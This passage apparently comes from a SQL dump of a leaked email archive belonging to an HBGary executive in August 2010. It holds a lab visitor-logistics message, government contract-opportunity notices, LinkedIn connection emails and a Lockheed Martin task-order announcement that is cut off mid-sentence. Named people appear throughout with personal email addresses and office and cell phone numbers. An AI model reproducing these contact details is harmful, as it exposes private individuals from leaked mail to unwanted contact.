should just use the info on\r\nlodging and directions we gave Shree.\r\n\r\nI am assuming they would arrive up\r\nhere on 8/23/10 at 8:00AM.\r\n\r\nThey should find me, and I will\r\nhelp them get badged and then take them over to TRK (where they will work).\r\n\r\nI can reached at my desk at that\r\ntime, but will have my cell on for them.\r\n\r\n&nbsp;\r\n\r\nThanks for your help.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884 Off\r\n\r\n505-231-7489 Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12606,'aaron_hbgary_com/12606.html'),(10437,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008125.M603257P14101Q5292.eml','federal@hbgary.com','BOLT Final RFP document Posting','\r\nA Final Request For Proposal (RFP) has been posted or updated on the NRO-BOLT effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select BOLT from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5551,'aaron_hbgary_com/5551.html'),(10438,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008125.M812972P14101Q5293.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jeff has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jeff are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jeff Liford \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Principal IT Security Engineer at Apptis\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jeff\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          jliford@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Jeff\'s Connections (111) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mark Keiser\r\n                ,\r\n                  Program Manager, Biometrics; also Senior Privacy Analyst, FBI Terrorist Screening Center (via SAVA Workforce Solutions)\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Richard Dobyns\r\n                ,\r\n                  Senior Resource Manager at The Squires Group\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Chris Shoulet\r\n                ,\r\n                  Recruiter at Top Dog Recruiting chris@topdog-inc.com\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Dean Landau\r\n                ,\r\n                  at Marriott Vacation Club International\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jeff\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Apptis\r\n                    \r\n                      Jeff works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     WareOnEarth Communications, Inc.\r\n                    \r\n                      Jeff worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Verizon Business\r\n                    \r\n                      Jeff worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SMS\r\n                    \r\n                      Jeff worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',1623,'aaron_hbgary_com/1623.html'),(10439,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008126.M296128P14101Q5295.eml','federal@hbgary.com','IMINT Competitive Business Opportunity Posting','\r\nThe NRO/IMINT Directorate is pleased to announce the release of a Competitive Business Opportunity on the classified ARC.  It will remain visible for ten calendar days. The Contract Type is expected to be: CPAF. The Effort Type is SETA.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Competitive Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12918,'aaron_hbgary_com/12918.html'),(10440,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008126.M47281P14101Q5294.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Kathy has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Kathy are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Kathy Garcia, PMP \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Creative Communications Department Manager at TASC, Inc.\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Kathy\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          katherine.garcia@tasc.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Kathy\'s Connections (50) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Michael Hayden\r\n                ,\r\n                  Director, Financial Systems Dept at Northrop Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Julianne Elliott-Marton\r\n                ,\r\n                  Project Manager\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Kevin Schmohl\r\n                ,\r\n                  Multimedia Design Engineer L4 at Northrop Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Ivana T. Starcevic\r\n                ,\r\n                  Creative Director at Northrop Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Kathy\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     TASC\r\n                    \r\n                      Kathy works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     CSC\r\n                    \r\n                      Kathy knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Kathy knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Northrop Grumman Corporation\r\n                    \r\n                      Kathy knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',7974,'aaron_hbgary_com/7974.html'),(10441,'2010-08-17','\"Shaw, Jane E\" <jane.e.shaw@lmco.com>','/aaron@hbgary.com/new/1297008126.M610821P14101Q5296.eml',',,,,','UNO - Snow Leopard Task Order Announcement','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear UNO\r\nSuppliers:\r\n\r\n&nbsp;\r\n\r\nThe Lockheed\r\nMartin UNO PMO has received a Draft Statement of Work for Task Order Snow\r\nLeopard.&nbsp; Snow Leopard is a four month Cost Plus Award Fee\r\n&#8211; Completion (CPAF-C) research and proof-of concept effort. The RFP\r\nmay be promulgated as early as Monday August 23 to interested bidders.\r\n\r\n&nbsp;\r\n\r\nSnow Leopard is a research and proof-of-concept\r\neffort to develop an understanding of RF devices. \r\n\r\n&nbsp;\r\n\r\nTo be\r\nconsidered qualified, interested suppliers must have significant experience\r\nwith RF devices and development of Sponsor Tools.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you are interested\r\nin, and have the capabilities to meet the basic requirements of this task\r\norder, then please provide a written initial\r\nconfirmation of your interest via email to Jane Shaw, UNO Subcontracts\r\nAdministrator, at jane.e.shaw@lmco.com and Jim\r\nRacz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT Noon on Wednesday, 8/18. &nbsp;&nbsp;In your confirmation\r\nresponse to LMCO, please be sure to confirm your 